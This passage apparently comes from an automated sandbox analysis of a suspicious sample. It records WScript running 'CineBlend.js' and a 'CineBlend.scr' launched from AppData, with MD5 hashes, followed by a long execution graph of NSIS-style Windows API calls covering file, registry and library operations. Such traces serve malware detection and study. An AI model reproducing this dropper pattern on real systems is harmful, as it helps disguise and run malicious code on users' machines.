                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
                                Imagebase:0x7ff740610000
                                File size:170'496 bytes
                                MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:38
                                Start time:21:03:49
                                Start date:04/01/2025
                                Path:C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
                                Imagebase:0x5d0000
                                File size:947'288 bytes
                                MD5 hash:62D09F076E6E0240548C2F837536A46A
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                Disassembly

                                Reset < >

                                  Execution Graph

                                  Execution Coverage:17.7%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:21%
                                  Total number of Nodes:1482
                                  Total number of Limit Nodes:28
                                  execution_graph 4201 402fc0 4202 401446 18 API calls 4201->4202 4203 402fc7 4202->4203 4204 401a13 4203->4204 4205 403017 4203->4205 4206 40300a 4203->4206 4208 406831 18 API calls 4205->4208 4207 401446 18 API calls 4206->4207 4207->4204 4208->4204 4209 4023c1 4210 40145c 18 API calls 4209->4210 4211 4023c8 4210->4211 4214 407296 4211->4214 4217 406efe CreateFileW 4214->4217 4218 406f30 4217->4218 4219 406f4a ReadFile 4217->4219 4220 4062cf 11 API calls 4218->4220 4221 4023d6 4219->4221 4224 406fb0 4219->4224 4220->4221 4222 406fc7 ReadFile lstrcpynA lstrcmpA 4222->4224 4225 40700e SetFilePointer ReadFile 4222->4225 4223 40720f CloseHandle 4223->4221 4224->4221 4224->4222 4224->4223 4226 407009 4224->4226 4225->4223 4227 4070d4 ReadFile 4225->4227 4226->4223 4228 407164 4227->4228 4228->4226 4228->4227 4229 40718b SetFilePointer GlobalAlloc ReadFile 4228->4229 4230 4071eb lstrcpynW GlobalFree 4229->4230 4231 4071cf 4229->4231 4230->4223 4231->4230 4231->4231 4232 401cc3 4233 40145c 18 API calls 4232->4233 4234 401cca lstrlenW 4233->4234 4235 4030dc 4234->4235 4236 4030e3 4235->4236 4238 405f7d wsprintfW 4235->4238 4238->4236 4239 401c46 4240 40145c 18 API calls 4239->4240 4241 401c4c 4240->4241 4242 4062cf 11 API calls 4241->4242 4243 401c59 4242->4243 4244 406cc7 81 API calls 4243->4244 4245 401c64 4244->4245 4246 403049 4247 401446 18 API calls 4246->4247 4248 403050 4247->4248 4249 406831 18 API calls 4248->4249 4250 401a13 4248->4250 4249->4250 4251 40204a 4252 401446 18 API calls 4251->4252 4253 402051 IsWindow 4252->4253 4254 4018d3 4253->4254 4255 40324c 4256 403277 4255->4256 4257 40325e SetTimer 4255->4257 4258 4032cc 4256->4258 4259 403291 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4256->4259 4257->4256 4259->4258 4260 4022cc 4261 40145c 18 API calls 4260->4261 4262 4022d3 4261->4262 4263 406301 2 API calls 4262->4263 4264 4022d9 4263->4264 4266 4022e8 4264->4266 4269 405f7d wsprintfW 4264->4269 4267 4030e3 4266->4267 4270 405f7d wsprintfW 4266->4270 4269->4266 4270->4267 4271 4030cf 4272 40145c 18 API calls 4271->4272 4273 4030d6 4272->4273 4275 4030dc 4273->4275 4278 4063d8 GlobalAlloc lstrlenW 4273->4278 4276 4030e3 4275->4276 4305 405f7d wsprintfW 4275->4305 4279 406460 4278->4279 4280 40640e 4278->4280 4279->4275 4281 40643b GetVersionExW 4280->4281 4306 406057 CharUpperW 4280->4306 4281->4279 4282 40646a 4281->4282 4283 406490 LoadLibraryA 4282->4283 4284 406479 4282->4284 4283->4279 4287 4064ae GetProcAddress GetProcAddress GetProcAddress 4283->4287 4284->4279 4286 4065b1 GlobalFree 4284->4286 4288 4065c7 LoadLibraryA 4286->4288 4289 406709 FreeLibrary 4286->4289 4290 406621 4287->4290 4294 4064d6 4287->4294 4288->4279 4292 4065e1 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 4288->4292 4289->4279 4291 40667d FreeLibrary 4290->4291 4293 406656 4290->4293 4291->4293 4292->4290 4297 406716 4293->4297 4302 4066b1 lstrcmpW 4293->4302 4303 4066e2 CloseHandle 4293->4303 4304 406700 CloseHandle 4293->4304 4294->4290 4295 406516 4294->4295 4296 4064fa FreeLibrary GlobalFree 4294->4296 4295->4286 4298 406528 lstrcpyW OpenProcess 4295->4298 4300 40657b CloseHandle CharUpperW lstrcmpW 4295->4300 4296->4279 4299 40671b CloseHandle FreeLibrary 4297->4299 4298->4295 4298->4300 4301 406730 CloseHandle 4299->4301 4300->4290 4300->4295 4301->4299 4302->4293 4302->4301 4303->4293 4304->4289 4305->4276 4306->4280 4307 4044d1 4308 40450b 4307->4308 4309 40453e 4307->4309 4375 405cb0 GetDlgItemTextW 4308->4375 4310 40454b GetDlgItem GetAsyncKeyState 4309->4310 4314 4045dd 4309->4314 4312 40456a GetDlgItem 4310->4312 4325 404588 4310->4325 4317 403d6b 19 API calls 4312->4317 4313 4046c9 4373 40485f 4313->4373 4377 405cb0 GetDlgItemTextW 4313->4377 4314->4313 4322 406831 18 API calls 4314->4322 4314->4373 4315 404516 4316 406064 5 API calls 4315->4316 4318 40451c 4316->4318 4320 40457d ShowWindow 4317->4320 4321 403ea0 5 API calls 4318->4321 4320->4325 4326 404521 GetDlgItem 4321->4326 4327 40465b SHBrowseForFolderW 4322->4327 4323 4046f5 4328 4067aa 18 API calls 4323->4328 4324 403df6 8 API calls 4329 404873 4324->4329 4330 4045a5 SetWindowTextW 4325->4330 4334 405d85 4 API calls 4325->4334 4331 40452f IsDlgButtonChecked 4326->4331 4326->4373 4327->4313 4333 404673 CoTaskMemFree 4327->4333 4338 4046fb 4328->4338 4332 403d6b 19 API calls 4330->4332 4331->4309 4336 4045c3 4332->4336 4337 40674e 3 API calls 4333->4337 4335 40459b 4334->4335 4335->4330 4342 40674e 3 API calls 4335->4342 4339 403d6b 19 API calls 4336->4339 4340 404680 4337->4340 4378 406035 lstrcpynW 4338->4378 4343 4045ce 4339->4343 4344 4046b7 SetDlgItemTextW 4340->4344 4349 406831 18 API calls 4340->4349 4342->4330 4376 403dc4 SendMessageW 4343->4376 4344->4313 4345 404712 4347 406328 3 API calls 4345->4347 4356 40471a 4347->4356 4348 4045d6 4350 406328 3 API calls 4348->4350 4351 40469f lstrcmpiW 4349->4351 4350->4314 4351->4344 4354 4046b0 lstrcatW 4351->4354 4352 40475c 4379 406035 lstrcpynW 4352->4379 4354->4344 4355 404765 4357 405d85 4 API calls 4355->4357 4356->4352 4360 40677d 2 API calls 4356->4360 4362 4047b1 4356->4362 4358 40476b GetDiskFreeSpaceW 4357->4358 4361 40478f MulDiv 4358->4361 4358->4362 4360->4356 4361->4362 4363 40480e 4362->4363 4380 4043d9 4362->4380 4364 404831 4363->4364 4366 40141d 80 API calls 4363->4366 4388 403db1 KiUserCallbackDispatcher 4364->4388 4366->4364 4367 4047ff 4369 404810 SetDlgItemTextW 4367->4369 4370 404804 4367->4370 4369->4363 4372 4043d9 21 API calls 4370->4372 4371 40484d 4371->4373 4389 403d8d 4371->4389 4372->4363 4373->4324 4375->4315 4376->4348 4377->4323 4378->4345 4379->4355 4381 4043f9 4380->4381 4382 406831 18 API calls 4381->4382 4383 404439 4382->4383 4384 406831 18 API calls 4383->4384 4385 404444 4384->4385 4386 406831 18 API calls 4385->4386 4387 404454 lstrlenW wsprintfW SetDlgItemTextW 4386->4387 4387->4367 4388->4371 4390 403da0 SendMessageW 4389->4390 4391 403d9b 4389->4391 4390->4373 4391->4390 4392 401dd3 4393 401446 18 API calls 4392->4393 4394 401dda 4393->4394 4395 401446 18 API calls 4394->4395 4396 4018d3 4395->4396 4397 402e55 4398 40145c 18 API calls 4397->4398 4399 402e63 4398->4399 4400 402e79 4399->4400 4401 40145c 18 API calls 4399->4401 4402 405e5c 2 API calls 4400->4402 4401->4400 4403 402e7f 4402->4403 4427 405e7c GetFileAttributesW CreateFileW 4403->4427 4405 402e8c 4406 402f35 4405->4406 4407 402e98 GlobalAlloc 4405->4407 4410 4062cf 11 API calls 4406->4410 4408 402eb1 4407->4408 4409 402f2c CloseHandle 4407->4409 4428 403368 SetFilePointer 4408->4428 4409->4406 4412 402f45 4410->4412 4414 402f50 DeleteFileW 4412->4414 4415 402f63 4412->4415 4413 402eb7 4416 403336 ReadFile 4413->4416 4414->4415 4429 401435 4415->4429 4418 402ec0 GlobalAlloc 4416->4418 4419 402ed0 4418->4419 4420 402f04 WriteFile GlobalFree 4418->4420 4422 40337f 33 API calls 4419->4422 4421 40337f 33 API calls 4420->4421 4423 402f29 4421->4423 4426 402edd 4422->4426 4423->4409 4425 402efb GlobalFree 4425->4420 4426->4425 4427->4405 4428->4413 4430 404f9e 25 API calls 4429->4430 4431 401443 4430->4431 4432 401cd5 4433 401446 18 API calls 4432->4433 4434 401cdd 4433->4434 4435 401446 18 API calls 4434->4435 4436 401ce8 4435->4436 4437 40145c 18 API calls 4436->4437 4438 401cf1 4437->4438 4439 401d07 lstrlenW 4438->4439 4440 401d43 4438->4440 4441 401d11 4439->4441 4441->4440 4445 406035 lstrcpynW 4441->4445 4443 401d2c 4443->4440 4444 401d39 lstrlenW 4443->4444 4444->4440 4445->4443 4446 402cd7 4447 401446 18 API calls 4446->4447 4449 402c64 4447->4449 4448 402d17 ReadFile 4448->4449 4449->4446 4449->4448 4450 402d99 4449->4450 4451 402dd8 4452 4030e3 4451->4452 4453 402ddf 4451->4453 4454 402de5 FindClose 4453->4454 4454->4452 4455 401d5c 4456 40145c 18 API calls 4455->4456 4457 401d63 4456->4457 4458 40145c 18 API calls 4457->4458 4459 401d6c 4458->4459 4460 401d73 lstrcmpiW 4459->4460 4461 401d86 lstrcmpW 4459->4461 4462 401d79 4460->4462 4461->4462 4463 401c99 4461->4463 4462->4461 4462->4463 4464 4027e3 4465 4027e9 4464->4465 4466 4027f2 4465->4466 4467 402836 4465->4467 4480 401553 4466->4480 4468 40145c 18 API calls 4467->4468 4470 40283d 4468->4470 4472 4062cf 11 API calls 4470->4472 4471 4027f9 4473 40145c 18 API calls 4471->4473 4477 401a13 4471->4477 4474 40284d 4472->4474 4475 40280a RegDeleteValueW 4473->4475 4484 40149d RegOpenKeyExW 4474->4484 4476 4062cf 11 API calls 4475->4476 4479 40282a RegCloseKey 4476->4479 4479->4477 4481 401563 4480->4481 4482 40145c 18 API calls 4481->4482 4483 401589 RegOpenKeyExW 4482->4483 4483->4471 4487 4014c9 4484->4487 4492 401515 4484->4492 4485 4014ef RegEnumKeyW 4486 401501 RegCloseKey 4485->4486 4485->4487 4489 406328 3 API calls 4486->4489 4487->4485 4487->4486 4488 401526 RegCloseKey 4487->4488 4490 40149d 3 API calls 4487->4490 4488->4492 4491 401511 4489->4491 4490->4487 4491->4492 4493 401541 RegDeleteKeyW 4491->4493 4492->4477 4493->4492 4494 4040e4 4495 4040ff 4494->4495 4501 40422d 4494->4501 4497 40413a 4495->4497 4525 403ff6 WideCharToMultiByte 4495->4525 4496 404298 4498 40436a 4496->4498 4499 4042a2 GetDlgItem 4496->4499 4505 403d6b 19 API calls 4497->4505 4506 403df6 8 API calls 4498->4506 4502 40432b 4499->4502 4503 4042bc 4499->4503 4501->4496 4501->4498 4504 404267 GetDlgItem SendMessageW 4501->4504 4502->4498 4507 40433d 4502->4507 4503->4502 4511 4042e2 6 API calls 4503->4511 4530 403db1 KiUserCallbackDispatcher 4504->4530 4509 40417a 4505->4509 4510 404365 4506->4510 4512 404353 4507->4512 4513 404343 SendMessageW 4507->4513 4515 403d6b 19 API calls 4509->4515 4511->4502 4512->4510 4516 404359 SendMessageW 4512->4516 4513->4512 4514 404293 4517 403d8d SendMessageW 4514->4517 4518 404187 CheckDlgButton 4515->4518 4516->4510 4517->4496 4528 403db1 KiUserCallbackDispatcher 4518->4528 4520 4041a5 GetDlgItem 4529 403dc4 SendMessageW 4520->4529 4522 4041bb SendMessageW 4523 4041e1 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 4522->4523 4524 4041d8 GetSysColor 4522->4524 4523->4510 4524->4523 4526 404033 4525->4526 4527 404015 GlobalAlloc WideCharToMultiByte 4525->4527 4526->4497 4527->4526 4528->4520 4529->4522 4530->4514 4531 402ae4 4532 402aeb 4531->4532 4533 4030e3 4531->4533 4534 402af2 CloseHandle 4532->4534 4534->4533 4535 402065 4536 401446 18 API calls 4535->4536 4537 40206d 4536->4537 4538 401446 18 API calls 4537->4538 4539 402076 GetDlgItem 4538->4539 4540 4030dc 4539->4540 4541 4030e3 4540->4541 4543 405f7d wsprintfW 4540->4543 4543->4541 4544 402665 4545 40145c 18 API calls 4544->4545 4546 40266b 4545->4546 4547 40145c 18 API calls 4546->4547 4548 402674 4547->4548 4549 40145c 18 API calls 4548->4549 4550 40267d 4549->4550 4551 4062cf 11 API calls 4550->4551 4552 40268c 4551->4552 4553 406301 2 API calls 4552->4553 4554 402695 4553->4554 4555 4026a6 lstrlenW lstrlenW 4554->4555 4557 404f9e 25 API calls 4554->4557 4559 4030e3 4554->4559 4556 404f9e 25 API calls 4555->4556 4558 4026e8 SHFileOperationW 4556->4558 4557->4554 4558->4554 4558->4559 4560 401c69 4561 40145c 18 API calls 4560->4561 4562 401c70 4561->4562 4563 4062cf 11 API calls 4562->4563 4564 401c80 4563->4564 4565 405ccc MessageBoxIndirectW 4564->4565 4566 401a13 4565->4566 4567 402f6e 4568 402f72 4567->4568 4569 402fae 4567->4569 4571 4062cf 11 API calls 4568->4571 4570 40145c 18 API calls 4569->4570 4577 402f9d 4570->4577 4572 402f7d 4571->4572 4573 4062cf 11 API calls 4572->4573 4574 402f90 4573->4574 4575 402fa2 4574->4575 4576 402f98 4574->4576 4579 406113 9 API calls 4575->4579 4578 403ea0 5 API calls 4576->4578 4578->4577 4579->4577 4580 4023f0 4581 402403 4580->4581 4582 4024da 4580->4582 4583 40145c 18 API calls 4581->4583 4584 404f9e 25 API calls 4582->4584 4585 40240a 4583->4585 4588 4024f1 4584->4588 4586 40145c 18 API calls 4585->4586 4587 402413 4586->4587 4589 402429 LoadLibraryExW 4587->4589 4590 40241b GetModuleHandleW 4587->4590 4591 4024ce 4589->4591 4592 40243e 4589->4592 4590->4589 4590->4592 4594 404f9e 25 API calls 4591->4594 4604 406391 GlobalAlloc WideCharToMultiByte 4592->4604 4594->4582 4595 402449 4596 40248c 4595->4596 4597 40244f 4595->4597 4598 404f9e 25 API calls 4596->4598 4599 401435 25 API calls 4597->4599 4602 40245f 4597->4602 4600 402496 4598->4600 4599->4602 4601 4062cf 11 API calls 4600->4601 4601->4602 4602->4588 4603 4024c0 FreeLibrary 4602->4603 4603->4588 4605 4063c9 GlobalFree 4604->4605 4606 4063bc GetProcAddress 4604->4606 4605->4595 4606->4605 3417 402175 3427 401446 3417->3427 3419 40217c 3420 401446 18 API calls 3419->3420 3421 402186 3420->3421 3422 402197 3421->3422 3425 4062cf 11 API calls 3421->3425 3423 4021aa EnableWindow 3422->3423 3424 40219f ShowWindow 3422->3424 3426 4030e3 3423->3426 3424->3426 3425->3422 3428 406831 18 API calls 3427->3428 3429 401455 3428->3429 3429->3419 4607 4048f8 4608 404906 4607->4608 4609 40491d 4607->4609 4610 40490c 4608->4610 4625 404986 4608->4625 4611 40492b IsWindowVisible 4609->4611 4617 404942 4609->4617 4612 403ddb SendMessageW 4610->4612 4614 404938 4611->4614 4611->4625 4615 404916 4612->4615 4613 40498c CallWindowProcW 4613->4615 4626 40487a SendMessageW 4614->4626 4617->4613 4631 406035 lstrcpynW 4617->4631 4619 404971 4632 405f7d wsprintfW 4619->4632 4621 404978 4622 40141d 80 API calls 4621->4622 4623 40497f 4622->4623 4633 406035 lstrcpynW 4623->4633 4625->4613 4627 4048d7 SendMessageW 4626->4627 4628 40489d GetMessagePos ScreenToClient SendMessageW 4626->4628 4630 4048cf 4627->4630 4629 4048d4 4628->4629 4628->4630 4629->4627 4630->4617 4631->4619 4632->4621 4633->4625 3722 4050f9 3723 4052c1 3722->3723 3724 40511a GetDlgItem GetDlgItem GetDlgItem 3722->3724 3725 4052f2 3723->3725 3726 4052ca GetDlgItem CreateThread CloseHandle 3723->3726 3771 403dc4 SendMessageW 3724->3771 3728 405320 3725->3728 3730 405342 3725->3730 3731 40530c ShowWindow ShowWindow 3725->3731 3726->3725 3774 405073 OleInitialize 3726->3774 3732 40537e 3728->3732 3734 405331 3728->3734 3735 405357 ShowWindow 3728->3735 3729 40518e 3741 406831 18 API calls 3729->3741 3736 403df6 8 API calls 3730->3736 3773 403dc4 SendMessageW 3731->3773 3732->3730 3737 405389 SendMessageW 3732->3737 3738 403d44 SendMessageW 3734->3738 3739 405377 3735->3739 3740 405369 3735->3740 3746 4052ba 3736->3746 3745 4053a2 CreatePopupMenu 3737->3745 3737->3746 3738->3730 3744 403d44 SendMessageW 3739->3744 3742 404f9e 25 API calls 3740->3742 3743 4051ad 3741->3743 3742->3739 3747 4062cf 11 API calls 3743->3747 3744->3732 3748 406831 18 API calls 3745->3748 3749 4051b8 GetClientRect GetSystemMetrics SendMessageW SendMessageW 3747->3749 3750 4053b2 AppendMenuW 3748->3750 3751 405203 SendMessageW SendMessageW 3749->3751 3752 40521f 3749->3752 3753 4053c5 GetWindowRect 3750->3753 3754 4053d8 3750->3754 3751->3752 3755 405232 3752->3755 3756 405224 SendMessageW 3752->3756 3757 4053df TrackPopupMenu 3753->3757 3754->3757 3758 403d6b 19 API calls 3755->3758 3756->3755 3757->3746 3759 4053fd 3757->3759 3760 405242 3758->3760 3761 405419 SendMessageW 3759->3761 3762 40524b ShowWindow 3760->3762 3763 40527f GetDlgItem SendMessageW 3760->3763 3761->3761 3764 405436 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 3761->3764 3765 405261 ShowWindow 3762->3765 3766 40526e 3762->3766 3763->3746 3767 4052a2 SendMessageW SendMessageW 3763->3767 3768 40545b SendMessageW 3764->3768 3765->3766 3772 403dc4 SendMessageW 3766->3772 3767->3746 3768->3768 3769 405486 GlobalUnlock SetClipboardData CloseClipboard 3768->3769 3769->3746 3771->3729 3772->3763 3773->3728 3775 403ddb SendMessageW 3774->3775 3779 405096 3775->3779 3776 403ddb SendMessageW 3777 4050d1 OleUninitialize 3776->3777 3778 4062cf 11 API calls 3778->3779 3779->3778 3780 40139d 80 API calls 3779->3780 3781 4050c1 3779->3781 3780->3779 3781->3776 4634 4020f9 GetDC GetDeviceCaps 4635 401446 18 API calls 4634->4635 4636 402116 MulDiv 4635->4636 4637 401446 18 API calls 4636->4637 4638 40212c 4637->4638 4639 406831 18 API calls 4638->4639 4640 402165 CreateFontIndirectW 4639->4640 4641 4030dc 4640->4641 4642 4030e3 4641->4642 4644 405f7d wsprintfW 4641->4644 4644->4642 4645 4024fb 4646 40145c 18 API calls 4645->4646 4647 402502 4646->4647 4648 40145c 18 API calls 4647->4648 4649 40250c 4648->4649 4650 40145c 18 API calls 4649->4650 4651 402515 4650->4651 4652 40145c 18 API calls 4651->4652 4653 40251f 4652->4653 4654 40145c 18 API calls 4653->4654 4655 402529 4654->4655 4656 40253d 4655->4656 4657 40145c 18 API calls 4655->4657 4658 4062cf 11 API calls 4656->4658 4657->4656 4659 40256a CoCreateInstance 4658->4659 4660 40258c 4659->4660 4661 4026fc 4663 402708 4661->4663 4664 401ee4 4661->4664 4662 406831 18 API calls 4662->4664 4664->4661 4664->4662 3808 4019fd 3809 40145c 18 API calls 3808->3809 3810 401a04 3809->3810 3813 405eab 3810->3813 3814 405eb8 GetTickCount GetTempFileNameW 3813->3814 3815 401a0b 3814->3815 3816 405eee 3814->3816 3816->3814 3816->3815 4665 4022fd 4666 40145c 18 API calls 4665->4666 4667 402304 GetFileVersionInfoSizeW 4666->4667 4668 4030e3 4667->4668 4669 40232b GlobalAlloc 4667->4669 4669->4668 4670 40233f GetFileVersionInfoW 4669->4670 4671 402350 VerQueryValueW 4670->4671 4672 402381 GlobalFree 4670->4672 4671->4672 4673 402369 4671->4673 4672->4668 4678 405f7d wsprintfW 4673->4678 4676 402375 4679 405f7d wsprintfW 4676->4679 4678->4676 4679->4672 4680 402afd 4681 40145c 18 API calls 4680->4681 4682 402b04 4681->4682 4687 405e7c GetFileAttributesW CreateFileW 4682->4687 4684 402b10 4685 4030e3 4684->4685 4688 405f7d wsprintfW 4684->4688 4687->4684 4688->4685 4689 4029ff 4690 401553 19 API calls 4689->4690 4691 402a09 4690->4691 4692 40145c 18 API calls 4691->4692 4693 402a12 4692->4693 4694 402a1f RegQueryValueExW 4693->4694 4698 401a13 4693->4698 4695 402a45 4694->4695 4696 402a3f 4694->4696 4697 4029e4 RegCloseKey 4695->4697 4695->4698 4696->4695 4700 405f7d wsprintfW 4696->4700 4697->4698 4700->4695 4701 401000 4702 401037 BeginPaint GetClientRect 4701->4702 4703 40100c DefWindowProcW 4701->4703 4705 4010fc 4702->4705 4706 401182 4703->4706 4707 401073 CreateBrushIndirect FillRect DeleteObject 4705->4707 4708 401105 4705->4708 4707->4705 4709 401170 EndPaint 4708->4709 4710 40110b CreateFontIndirectW 4708->4710 4709->4706 4710->4709 4711 40111b 6 API calls 4710->4711 4711->4709 4712 401f80 4713 401446 18 API calls 4712->4713 4714 401f88 4713->4714 4715 401446 18 API calls 4714->4715 4716 401f93 4715->4716 4717 401fa3 4716->4717 4718 40145c 18 API calls 4716->4718 4719 401fb3 4717->4719 4720 40145c 18 API calls 4717->4720 4718->4717 4721 402006 4719->4721 4722 401fbc 4719->4722 4720->4719 4723 40145c 18 API calls 4721->4723 4724 401446 18 API calls 4722->4724 4725 40200d 4723->4725 4726 401fc4 4724->4726 4728 40145c 18 API calls 4725->4728 4727 401446 18 API calls 4726->4727 4729 401fce 4727->4729 4730 402016 FindWindowExW 4728->4730 4731 401ff6 SendMessageW 4729->4731 4732 401fd8 SendMessageTimeoutW 4729->4732 4734 402036 4730->4734 4731->4734 4732->4734 4733 4030e3 4734->4733 4736 405f7d wsprintfW 4734->4736 4736->4733 4737 402880 4738 402884 4737->4738 4739 40145c 18 API calls 4738->4739 4740 4028a7 4739->4740 4741 40145c 18 API calls 4740->4741 4742 4028b1 4741->4742 4743 4028ba RegCreateKeyExW 4742->4743 4744 4028e8 4743->4744 4749 4029ef 4743->4749 4745 402934 4744->4745 4747 40145c 18 API calls 4744->4747 4746 402963 4745->4746 4748 401446 18 API calls 4745->4748 4750 4029ae RegSetValueExW 4746->4750 4753 40337f 33 API calls 4746->4753 4751 4028fc lstrlenW 4747->4751 4752 402947 4748->4752 4756 4029c6 RegCloseKey 4750->4756 4757 4029cb 4750->4757 4754 402918 4751->4754 4755 40292a 4751->4755 4759 4062cf 11 API calls 4752->4759 4760 40297b 4753->4760 4761 4062cf 11 API calls 4754->4761 4762 4062cf 11 API calls 4755->4762 4756->4749 4758 4062cf 11 API calls 4757->4758 4758->4756 4759->4746 4768 406250 4760->4768 4765 402922 4761->4765 4762->4745 4765->4750 4767 4062cf 11 API calls 4767->4765 4769 406273 4768->4769 4770 4062b6 4769->4770 4771 406288 wsprintfW 4769->4771 4772 402991 4770->4772 4773 4062bf lstrcatW 4770->4773 4771->4770 4771->4771 4772->4767 4773->4772 4774 403d02 4775 403d0d 4774->4775 4776 403d11 4775->4776 4777 403d14 GlobalAlloc 4775->4777 4777->4776 4778 402082 4779 401446 18 API calls 4778->4779 4780 402093 SetWindowLongW 4779->4780 4781 4030e3 4780->4781 4782 402a84 4783 401553 19 API calls 4782->4783 4784 402a8e 4783->4784 4785 401446 18 API calls 4784->4785 4786 402a98 4785->4786 4787 401a13 4786->4787 4788 402ab2 RegEnumKeyW 4786->4788 4789 402abe RegEnumValueW 4786->4789 4790 402a7e 4788->4790 4789->4787 4789->4790 4790->4787 4791 4029e4 RegCloseKey 4790->4791 4791->4787 4792 402c8a 4793 402ca2 4792->4793 4794 402c8f 4792->4794 4796 40145c 18 API calls 4793->4796 4795 401446 18 API calls 4794->4795 4798 402c97 4795->4798 4797 402ca9 lstrlenW 4796->4797 4797->4798 4799 401a13 4798->4799 4800 402ccb WriteFile 4798->4800 4800->4799 4801 401d8e 4802 40145c 18 API calls 4801->4802 4803 401d95 ExpandEnvironmentStringsW 4802->4803 4804 401da8 4803->4804 4805 401db9 4803->4805 4804->4805 4806 401dad lstrcmpW 4804->4806 4806->4805 4807 401e0f 4808 401446 18 API calls 4807->4808 4809 401e17 4808->4809 4810 401446 18 API calls 4809->4810 4811 401e21 4810->4811 4812 4030e3 4811->4812 4814 405f7d wsprintfW 4811->4814 4814->4812 4815 40438f 4816 4043c8 4815->4816 4817 40439f 4815->4817 4818 403df6 8 API calls 4816->4818 4819 403d6b 19 API calls 4817->4819 4821 4043d4 4818->4821 4820 4043ac SetDlgItemTextW 4819->4820 4820->4816 4822 403f90 4823 403fa0 4822->4823 4824 403fbc 4822->4824 4833 405cb0 GetDlgItemTextW 4823->4833 4826 403fc2 SHGetPathFromIDListW 4824->4826 4827 403fef 4824->4827 4829 403fd2 4826->4829 4832 403fd9 SendMessageW 4826->4832 4828 403fad SendMessageW 4828->4824 4830 40141d 80 API calls 4829->4830 4830->4832 4832->4827 4833->4828 4834 402392 4835 40145c 18 API calls 4834->4835 4836 402399 4835->4836 4839 407224 4836->4839 4840 406efe 25 API calls 4839->4840 4841 407244 4840->4841 4842 4023a7 4841->4842 4843 40724e lstrcpynW lstrcmpW 4841->4843 4844 407280 4843->4844 4845 407286 lstrcpynW 4843->4845 4844->4845 4845->4842 3338 402713 3353 406035 lstrcpynW 3338->3353 3340 40272c 3354 406035 lstrcpynW 3340->3354 3342 402738 3343 402743 3342->3343 3344 40145c 18 API calls 3342->3344 3345 40145c 18 API calls 3343->3345 3347 402752 3343->3347 3344->3343 3345->3347 3348 40145c 18 API calls 3347->3348 3350 402761 3347->3350 3348->3350 3355 40145c 3350->3355 3353->3340 3354->3342 3363 406831 3355->3363 3358 401497 3360 4062cf lstrlenW wvsprintfW 3358->3360 3403 406113 3360->3403 3372 40683e 3363->3372 3364 406aab 3365 401488 3364->3365 3398 406035 lstrcpynW 3364->3398 3365->3358 3382 406064 3365->3382 3367 4068ff GetVersion 3377 40690c 3367->3377 3368 406a72 lstrlenW 3368->3372 3370 406831 10 API calls 3370->3368 3372->3364 3372->3367 3372->3368 3372->3370 3375 406064 5 API calls 3372->3375 3396 405f7d wsprintfW 3372->3396 3397 406035 lstrcpynW 3372->3397 3374 40697e GetSystemDirectoryW 3374->3377 3375->3372 3376 406991 GetWindowsDirectoryW 3376->3377 3377->3372 3377->3374 3377->3376 3378 406831 10 API calls 3377->3378 3379 406a0b lstrcatW 3377->3379 3380 4069c5 SHGetSpecialFolderLocation 3377->3380 3391 405eff RegOpenKeyExW 3377->3391 3378->3377 3379->3372 3380->3377 3381 4069dd SHGetPathFromIDListW CoTaskMemFree 3380->3381 3381->3377 3389 406071 3382->3389 3383 4060e7 3384 4060ed CharPrevW 3383->3384 3386 40610d 3383->3386 3384->3383 3385 4060da CharNextW 3385->3383 3385->3389 3386->3358 3388 4060c6 CharNextW 3388->3389 3389->3383 3389->3385 3389->3388 3390 4060d5 CharNextW 3389->3390 3399 405d32 3389->3399 3390->3385 3392 405f33 RegQueryValueExW 3391->3392 3393 405f78 3391->3393 3394 405f55 RegCloseKey 3392->3394 3393->3377 3394->3393 3396->3372 3397->3372 3398->3365 3400 405d38 3399->3400 3401 405d4e 3400->3401 3402 405d3f CharNextW 3400->3402 3401->3389 3402->3400 3404 40613c 3403->3404 3405 40611f 3403->3405 3407 4061b3 3404->3407 3408 406159 3404->3408 3409 40277f WritePrivateProfileStringW 3404->3409 3406 406129 CloseHandle 3405->3406 3405->3409 3406->3409 3407->3409 3410 4061bc lstrcatW lstrlenW WriteFile 3407->3410 3408->3410 3411 406162 GetFileAttributesW 3408->3411 3410->3409 3416 405e7c GetFileAttributesW CreateFileW 3411->3416 3413 40617e 3413->3409 3414 4061a8 SetFilePointer 3413->3414 3415 40618e WriteFile 3413->3415 3414->3407 3415->3414 3416->3413 4846 402797 4847 40145c 18 API calls 4846->4847 4848 4027ae 4847->4848 4849 40145c 18 API calls 4848->4849 4850 4027b7 4849->4850 4851 40145c 18 API calls 4850->4851 4852 4027c0 GetPrivateProfileStringW lstrcmpW 4851->4852 4853 401e9a 4854 40145c 18 API calls 4853->4854 4855 401ea1 4854->4855 4856 401446 18 API calls 4855->4856 4857 401eab wsprintfW 4856->4857 3817 401a1f 3818 40145c 18 API calls 3817->3818 3819 401a26 3818->3819 3820 4062cf 11 API calls 3819->3820 3821 401a49 3820->3821 3822 401a64 3821->3822 3823 401a5c 3821->3823 3892 406035 lstrcpynW 3822->3892 3891 406035 lstrcpynW 3823->3891 3826 401a6f 3893 40674e lstrlenW CharPrevW 3826->3893 3827 401a62 3830 406064 5 API calls 3827->3830 3861 401a81 3830->3861 3831 406301 2 API calls 3831->3861 3834 401a98 CompareFileTime 3834->3861 3835 401ba9 3836 404f9e 25 API calls 3835->3836 3838 401bb3 3836->3838 3837 401b5d 3839 404f9e 25 API calls 3837->3839 3870 40337f 3838->3870 3841 401b70 3839->3841 3845 4062cf 11 API calls 3841->3845 3843 406035 lstrcpynW 3843->3861 3844 4062cf 11 API calls 3846 401bda 3844->3846 3850 401b8b 3845->3850 3847 401be9 SetFileTime 3846->3847 3848 401bf8 CloseHandle 3846->3848 3847->3848 3848->3850 3851 401c09 3848->3851 3849 406831 18 API calls 3849->3861 3852 401c21 3851->3852 